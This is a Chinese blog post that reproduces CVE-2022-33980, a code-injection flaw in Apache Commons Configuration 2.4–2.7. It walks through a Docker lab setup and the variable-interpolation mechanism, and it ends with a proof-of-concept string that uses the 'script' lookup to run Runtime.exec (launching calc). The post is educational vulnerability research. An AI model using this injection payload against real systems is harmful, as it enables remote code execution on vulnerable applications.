Apache Commons Configuration 代码注入漏洞(CVE-2022-33980)

最新推荐文章于 2024-04-05 06:11:44 发布

吉吉_大王

最新推荐文章于 2024-04-05 06:11:44 发布

阅读量1.4k

点赞数 1

分类专栏：漏洞复现文章标签： apache java

本文链接：https://blog.csdn.net/weixin_44047654/article/details/128127135

版权

漏洞复现专栏收录该内容

36 篇文章 3 订阅

订阅专栏

Apache Commons Configuration 代码注入漏洞(CVE-2022-33980)

0x01 漏洞简介

Apache Commons Configuration是一个Java应用程序的配置管理工具，可以从properties或者xml文件中加载软件的配置信息，用来构建支撑软件运行的基础环境。在一些配置文件较多较复杂的情况下，使用该配置工具比较可以简化配置文件的解析和管理，提高开发效率和软件的可维护性。

0x02 影响版本

2.4 <= Apache Commons Configuration <=2.7

0x03 环境搭建

使用docker拉去镜像： docker pull vultarget/apache_commons_configuration2_rce-cve_2022_33980

运行环境，随机映射端口：docker run -d -P vultarget/apache_commons_configuration2_rce-cve_2022_33980

查看端口开放情况：docker ps -a

访问8080端口映射的端口就是网站首页

在这里插入图片描述

0x04 漏洞分析

进入靶机环境：docker exec -it eb /bin/bash
将靶机中打包的ROOT.war文件拉去到本机中：docker cp /usr/local/tomcat/webapps/ROOT.war /home/test
解压文件，会看到网站打包好的源码
使用idea生成一个web项目，将里面的文件导入到生成的项目中，配置tomcat就可以再本机调试

根据官方给出的漏洞通报

https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s

在这里插入图片描述

Apache Commons Configuration执行变量插值，允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”，其中“prefix”用于定位org.apache.common.configuration2.interpol的实例。执行插值的查找。从2.4版开始，一直到2.7版，这组默认查找实例包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找包括：

-“script”-使用JVM脚本执行引擎（javax.script）执行表达式

-“dns”-解析dns记录

-“url”-从url（包括远程服务器）加载值

如果使用了不受信任的配置值，则在受影响版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器无意接触的攻击。

明白这个CVE的漏洞点是在变量插值中造成的
那么什么是变量插值呢？
在commons-configuration2来说，变量插值，就类似于引用动态变量的方式，就好比，如果我们需要获取系统中的某个环境变量，我们可以在配置文件中使用${env:envname}, 如果需要获取用户根目录，同样可以通过${sys:user.home}
我们可以跟进一下源码，看看这种写法是在哪里解析的
他主要是在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate中对这种写法进行解析，赋予其对应的值

在这里插入图片描述

从注释中我们可以知道对于变量的插值，如果这个值他是字符串类型的，他将会检查时候包含有变量，如果有，将会替换这个变量，如果没有就按照源String返回

所以我们同样可以通过使用该方法进行变量插值的使用

package pers.test_01;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class Commons_Configuration2_Test {
    public static void main(String[] args) {
        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
                .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
                .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
                .create();
        //创建示例
        ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        // 解析字符串
        System.out.println("${env:JAVA_HOME}->" + configurationInterpolator.interpolate("${env:JAVA_HOME}"));

    }
}

我们从之前的漏洞通告可以知道，由script将会导致JVM脚本执行，我们debug分析一下他的流程

#poc
System.out.println("${Script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")} ->" + configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));